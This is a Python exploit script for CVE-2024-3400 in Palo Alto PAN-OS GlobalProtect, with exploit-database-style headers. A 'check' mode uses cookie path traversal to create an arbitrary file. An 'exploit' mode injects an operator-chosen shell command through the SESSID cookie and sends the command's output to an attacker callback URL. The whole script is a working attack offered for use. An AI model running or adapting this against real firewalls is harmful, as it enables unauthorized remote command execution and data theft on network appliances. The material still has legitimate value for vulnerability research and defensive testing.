# Exploit Title: Palo Alto PAN-OS < v11.1.2-h3 - Command Injection and Arbitrary File Creation # Date: 21 Apr 2024 # Exploit Author: Kr0ff # Vendor Homepage: https://security.paloaltonetworks.com/CVE-2024-3400 # Software Link: - # Version: PAN-OS 11.1 < 11.1.0-h3, < 11.1.1-h1, < 11.1.2-h3 # PAN-OS 11.0 < 11.0.0-h3, < 11.0.1-h4, < 11.0.2-h4, < 11.0.3-h10, < 11.0.4-h1 # PAN-OS 10.2 < 10.2.0-h3, < 10.2.1-h2, < 10.2.2-h5, < 10.2.3-h13, < 10.2.4-h16, < 10.2.5-h6, < 10.2.6-h3, < 10.2.7-h8, < 10.2.8-h3, < 10.2.9-h1 # Tested on: Debian # CVE : CVE-2024-3400 #!/usr/bin/env python3 import sys try: import argparse import requests except ImportError: print("Missing dependencies, either requests or argparse not installed") sys.exit(2) # https://attackerkb.com/topics/SSTk336Tmf/cve-2024-3400/rapid7-analysis # https://labs.watchtowr.com/palo-alto-putting-the-protecc-in-globalprotect-cve-2024-3400/ def check_vuln(target: str, file: str) -> bool: ret = False uri = "/ssl-vpn/hipreport.esp" s = requests.Session() r = "" headers = { "User-Agent" : \ "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36", # Windows 10 Chrome 118.0.0.0 "Content-Type": "application/x-www-form-urlencoded", "Cookie": \ f"SESSID=../../../var/appweb/sslvpndocs/global-protect/portal/images/{file}" } headers_noCookie = { "User-Agent" : \ "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" # Windows 10 Chrome 118.0.0.0 } if not "http://" or not "https://" in target: target = "http://" + target try: r = s.post( (target + uri), verify=False, headers=headers, timeout=10 ) except requests.exceptions.Timeout or requests.ConnectionError as e: print(f"Request timed out for \"HTTP\" !{e}") print("Trying with \"HTTPS\"...") target = "https://" + target try: r = s.post( (target + uri), verify=False, headers=headers, timeout=10 ) except requests.exceptions.Timeout or requests.ConnectionError as e: print(f"Request timed out for \"HTTPS\"") sys.exit(1) else: r = s.post( (target + uri), verify=False, headers=headers, timeout=10 ) if r.status_code == 200: r = s.get( (target + f"/global-protect/portal/images/{file}"), verify=False, headers=headers_noCookie, timeout=10 ) if r.status_code == 403: print("Target vulnerable to CVE-2024-3400") ret = True else: return ret return ret def cmdexec(target: str, callback_url: str, payload: str) -> bool: ret = False p = "" if " " in payload: p = payload.replace(" ", "${IFS)") uri = "/ssl-vpn/hipreport.esp" headers = { "User-Agent" : \ "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36", # Windows 10 Chrome 118.0.0.0 "Content-Type": "application/x-www-form-urlencoded", "Cookie": \ f"SESSID=../../../../opt/panlogs/tmp/device_telemetry/minute/attack782`{callback_url}?r=$({payload})`" } s = requests.Session() r = "" if not "http://" or not "https://" in target: target = "http://" + target try: r = s.post( (target + uri), verify=False, headers=headers, timeout=10 ) except requests.exceptions.Timeout or requests.ConnectionError as e: print(f"Request timed out for \"HTTP\" !{e}") print("Trying with \"HTTPS\"...") target = "https://" + target try: r = s.post( (target + uri), verify=False, headers=headers, timeout=10 ) except requests.exceptions.Timeout or requests.ConnectionError as e: print(f"Request timed out for \"HTTPS\"") sys.exit(1) else: r = s.post( (target + uri), verify=False, headers=headers, timeout=10 ) if not "Success" in r.text: return ret else: ret = True return ret #Initilize parser for arguments def argparser(selection=None): parser = argparse.ArgumentParser( description='CVE-2024-3400 - Palo Alto OS Command Injection' ) subparser = parser.add_subparsers( help="Available modules", dest="module") exploit_subp = subparser.add_parser( "exploit", help="Exploit module of script") exploit_subp.add_argument( "-t", "--target",help="Target to send payload to", required=True ) exploit_subp.add_argument( "-p", "--payload", help="Payload to send (e.g: whoami)", required=True ) exploit_subp.add_argument( "-c", "--callbackurl", help="The callback url such as burp collaborator or similar", required=True ) #--------------------------------------- check_subp = subparser.add_parser( "check", help="Vulnerability check module of script" ) check_subp.add_argument( "-t", "--target", help="Target to check if vulnerable", required=True ) check_subp.add_argument( "-f", "--filename", help="Filename of the payload (e.g \"exploitCheck.exp\"", required=True ) args = parser.parse_args(selection) args = parser.parse_args(args=None if sys.argv[1:] else ["-h"]) if args.module == "exploit": cmdexec(args.target, args.callbackurl, args.payload) if args.module == "check": check_vuln(args.target, args.filename) if __name__ == "__main__": argparser() print("Finished !")